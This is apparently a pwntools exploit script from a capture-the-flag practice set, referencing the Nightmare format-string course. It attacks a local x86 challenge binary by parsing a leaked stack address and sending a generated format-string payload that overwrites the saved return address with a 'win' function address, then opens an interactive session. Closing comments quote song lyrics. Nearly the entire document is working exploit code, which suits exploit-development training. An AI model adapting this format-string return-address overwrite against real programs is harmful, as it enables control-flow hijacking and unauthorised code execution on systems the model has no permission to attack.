# +------------------------------------------------+
# | Atack: Format String Ret Winfunc               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-19-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("Tell me I was never good enough: ")
leak = int(target.recvline().strip(b"\n"), 16)
ret_address = leak + (53)
fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x80491f6,
		address = 0x0,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x1,
		value_base = None,
		address_base = ret_address)
payload = fs.generate_fmt_str()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Ice Nine Kills                         |
# +------------------------------------------------+
# | Song: Thank God it's Firday                    |
# +------------------------------------------------+
# | Ki-Ki-Ki,                                      |
# | Ma-Ma-Ma                                       |
# +------------------------------------------------+

